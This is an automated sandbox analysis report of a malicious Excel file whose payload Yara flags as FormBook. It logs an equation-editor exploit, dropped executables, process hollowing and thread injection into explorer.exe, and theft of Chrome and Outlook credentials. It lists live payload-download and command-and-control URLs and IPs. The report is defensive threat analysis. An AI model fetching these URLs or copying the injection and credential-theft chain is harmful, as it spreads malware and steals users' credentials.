Source: explorer.exe, 0000000C.00000000.1039865017.00000000043F0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: v6nel\5&35c44269e\cdromnvmware_sata_
Source: explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}(
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_002607DA GetSystemInfo, 6_2_002607DA
Source: C:\Users\Public\vbc.exe Code function: 5_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 5_2_00405D74
Source: C:\Users\Public\vbc.exe Code function: 5_2_0040699E FindFirstFileW,FindClose, 5_2_0040699E
Source: C:\Users\Public\vbc.exe Code function: 5_2_0040290B FindFirstFileW, 5_2_0040290B
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_004089B8 FindFirstFileExW, 6_2_004089B8
Source: C:\Windows\SysWOW64\wscript.exe File Volume queried: C:\Users\user\AppData\Local FullSizeInformation
Source: C:\Windows\SysWOW64\wscript.exe File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035B06CC mov edx, dword ptr fs:[00000030h] 2_2_035B06CC
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_0026005F mov eax, dword ptr fs:[00000030h] 6_2_0026005F
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_0026013E mov eax, dword ptr fs:[00000030h] 6_2_0026013E
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_00260109 mov eax, dword ptr fs:[00000030h] 6_2_00260109
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_0026017B mov eax, dword ptr fs:[00000030h] 6_2_0026017B
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009526F8 mov eax, dword ptr fs:[00000030h] 8_2_009526F8
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process queried: DebugPort
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_00401754 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 6_2_00401754
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_0040B06F GetProcessHeap, 6_2_0040B06F
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00990101 rdtsc 8_2_00990101
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process token adjusted: Debug
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0040CF93 LdrLoadDll, 8_2_0040CF93
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_004018B6 SetUnhandledExceptionFilter, 6_2_004018B6
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_00401754 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 6_2_00401754
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_0040632B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 6_2_0040632B
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_00401BB3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 6_2_00401BB3

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\wscript.exe Network Connect: 45.33.6.223 80
Source: C:\Windows\explorer.exe Network Connect: 78.141.192.145 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.white-hat.uk
Source: C:\Windows\explorer.exe Domain query: www.bitservicesltd.com
Source: C:\Windows\explorer.exe Domain query: www.gritslab.com
Source: C:\Windows\explorer.exe Network Connect: 161.97.163.8 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 94.176.104.86 80 Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Domain query: www.sqlite.org
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Section loaded: unknown target: C:\Users\user\AppData\Local\Temp\mcwfy.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Section loaded: unknown target: C:\Windows\SysWOW64\wscript.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Section loaded: unknown target: C:\Windows\SysWOW64\wscript.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: unknown target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: read write
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: unknown target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: unknown target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: execute and read and write
DLL side loading technique detected
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: C:\Users\user\AppData\Local\Temp\sqlite3.dll
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Section unmapped: C:\Windows\SysWOW64\wscript.exe base address: 40000 Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section unmapped: C:\Program Files (x86)\Mozilla Firefox\firefox.exe base address: E10000
Queues an APC in another process (thread injection)
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Thread register set: target process: 1860 Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Thread register set: target process: 1860
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\user\AppData\Local\Temp\mcwfy.exe "C:\Users\user\AppData\Local\Temp\mcwfy.exe" C:\Users\user\AppData\Local\Temp\ytljtt.f Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Process created: C:\Users\user\AppData\Local\Temp\mcwfy.exe C:\Users\user\AppData\Local\Temp\mcwfy.exe Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe C:\Program Files (x86)\Mozilla Firefox\Firefox.exe
Source: explorer.exe, 0000000C.00000000.1010632551.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000002.1184631771.0000000000830000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000C.00000000.1010632551.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000002.1184285879.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 0000000C.00000000.1010632551.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000002.1184631771.0000000000830000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager<
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\o0whqph.zip VolumeInformation
Source: C:\Windows\SysWOW64\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\o0whqph.zip VolumeInformation
Source: C:\Windows\SysWOW64\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\o0whqph.zip VolumeInformation
Source: C:\Windows\SysWOW64\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\o0whqph.zip VolumeInformation
Source: C:\Windows\SysWOW64\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\o0whqph.zip VolumeInformation
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_004019C5 cpuid 6_2_004019C5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_0040163B GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 6_2_0040163B
Source: C:\Users\Public\vbc.exe Code function: 5_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 5_2_00403640

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\wscript.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\wscript.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\SysWOW64\wscript.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State
Source: C:\Windows\SysWOW64\wscript.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\SysWOW64\wscript.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 830388 Sample: d0#U10dc.xls Startdate: 20/03/2023 Architecture: WINDOWS Score: 100 55 www.222ambking.org 2->55 77 Malicious sample detected (through community Yara rule) 2->77 79 Antivirus detection for URL or domain 2->79 81 Antivirus / Scanner detection for submitted sample 2->81 83 12 other signatures 2->83 12 EQNEDT32.EXE 12 2->12         started        17 AcroRd32.exe 28 2->17         started        19 EXCEL.EXE 54 137 2->19         started        21 WINWORD.EXE 30 2->21         started        signatures3 process4 dnsIp5 67 103.189.202.84, 49171, 80 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe unknown 12->67 51 C:\Users\user\AppData\Local\...\vbc[1].exe, PE32 12->51 dropped 53 C:\Users\Public\vbc.exe, PE32 12->53 dropped 97 Office equation editor establishes network connection 12->97 99 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 12->99 23 vbc.exe 19 12->23         started        27 RdrCEF.exe 2 17->27         started        file6 signatures7 process8 dnsIp9 47 C:\Users\user\AppData\Local\Temp\mcwfy.exe, PE32 23->47 dropped 87 Machine Learning detection for dropped file 23->87 30 mcwfy.exe 23->30         started        65 192.168.2.255, 137, 138 unknown unknown 27->65 file10 signatures11 process12 signatures13 101 Detected unpacking (changes PE section rights) 30->101 103 Machine Learning detection for dropped file 30->103 105 Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors) 30->105 107 Maps a DLL or memory area into another process 30->107 33 mcwfy.exe 30->33         started        process14 signatures15 69 Modifies the context of a thread in another process (thread injection) 33->69 71 Maps a DLL or memory area into another process 33->71 73 Sample uses process hollowing technique 33->73 75 Queues an APC in another process (thread injection) 33->75 36 explorer.exe 8 33->36 injected process16 dnsIp17 57 white-hat.uk 94.176.104.86, 49172, 80 GTSCEGTSCentralEuropeAntelGermanyCZ Romania 36->57 59 www.bitservicesltd.com 161.97.163.8, 49177, 49178, 49179 CONTABODE United States 36->59 61 3 other IPs or domains 36->61 85 System process connects to network (likely due to code injection or exploit) 36->85 40 wscript.exe 36->40         started        signatures18 process19 dnsIp20 63 www.sqlite.org 45.33.6.223, 49173, 80 LINODE-APLinodeLLCUS United States 40->63 49 C:\Users\user\AppData\Local\...\sqlite3.dll, PE32 40->49 dropped 89 System process connects to network (likely due to code injection or exploit) 40->89 91 Tries to steal Mail credentials (via file / registry access) 40->91 93 Tries to harvest and steal browser information (history, passwords, etc) 40->93 95 4 other signatures 40->95 45 firefox.exe 40->45         started        file21 signatures22 process23
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
45.33.6.223
 www.sqlite.org United States
63949 LINODE-APLinodeLLCUS false
78.141.192.145
 gritslab.com France
20473 AS-CHOOPAUS true
161.97.163.8
 www.bitservicesltd.com United States
51167 CONTABODE true
103.189.202.84
 unknown unknown
7575 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe true
94.176.104.86
 white-hat.uk Romania
5588 GTSCEGTSCentralEuropeAntelGermanyCZ true

Private

IP
192.168.2.255

Contacted Domains

Name IP Active
www.bitservicesltd.com 161.97.163.8 true
www.222ambking.org 91.195.240.94 true
white-hat.uk 94.176.104.86 true
www.sqlite.org 45.33.6.223 true
gritslab.com 78.141.192.145 true
www.white-hat.uk unknown unknown
www.gritslab.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://103.189.202.84/889r12/vbc.exe true
  • Avira URL Cloud: malware
 unknown
http://www.bitservicesltd.com/u2kb/ true
  • Avira URL Cloud: malware
 unknown
http://www.gritslab.com/u2kb/ true
  • Avira URL Cloud: malware
 unknown
http://www.bitservicesltd.com/u2kb/?MX=rr+sOBvEXsBdGevUkpEFvjOGSuYjzi1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXnwfbSEi+kURcMlXNjU4ipRv+g=&uFI_=sroxa_9G7qh93 true
  • Avira URL Cloud: malware
 unknown
http://www.white-hat.uk/u2kb/?MX=PXfMycAZpTAipct8YcIlv+jRzdgnyvgF2k7967nf/qU1A0mUqq9Jlnm9rK8XSf3D04yKTuePtKPnTC045fzMwSdM+ozxnu9rCO36QPo=&uFI_=sroxa_9G7qh93 true
  • Avira URL Cloud: malware
 unknown
http://www.sqlite.org/2017/sqlite-dll-win32-x86-3170000.zip false
    		high
    http://www.gritslab.com/u2kb/?MX=ydCzFiH7iMWnz6xHMbeyIS2EYayY5efYQUsmgPEoYCSsyD6HgT3yOGCjssC2N8mKn+GjINYvhr7iKNK7QGdClLf278PMkWXjYWxIQds=&uFI_=sroxa_9G7qh93 true
    • Avira URL Cloud: malware
    		 unknown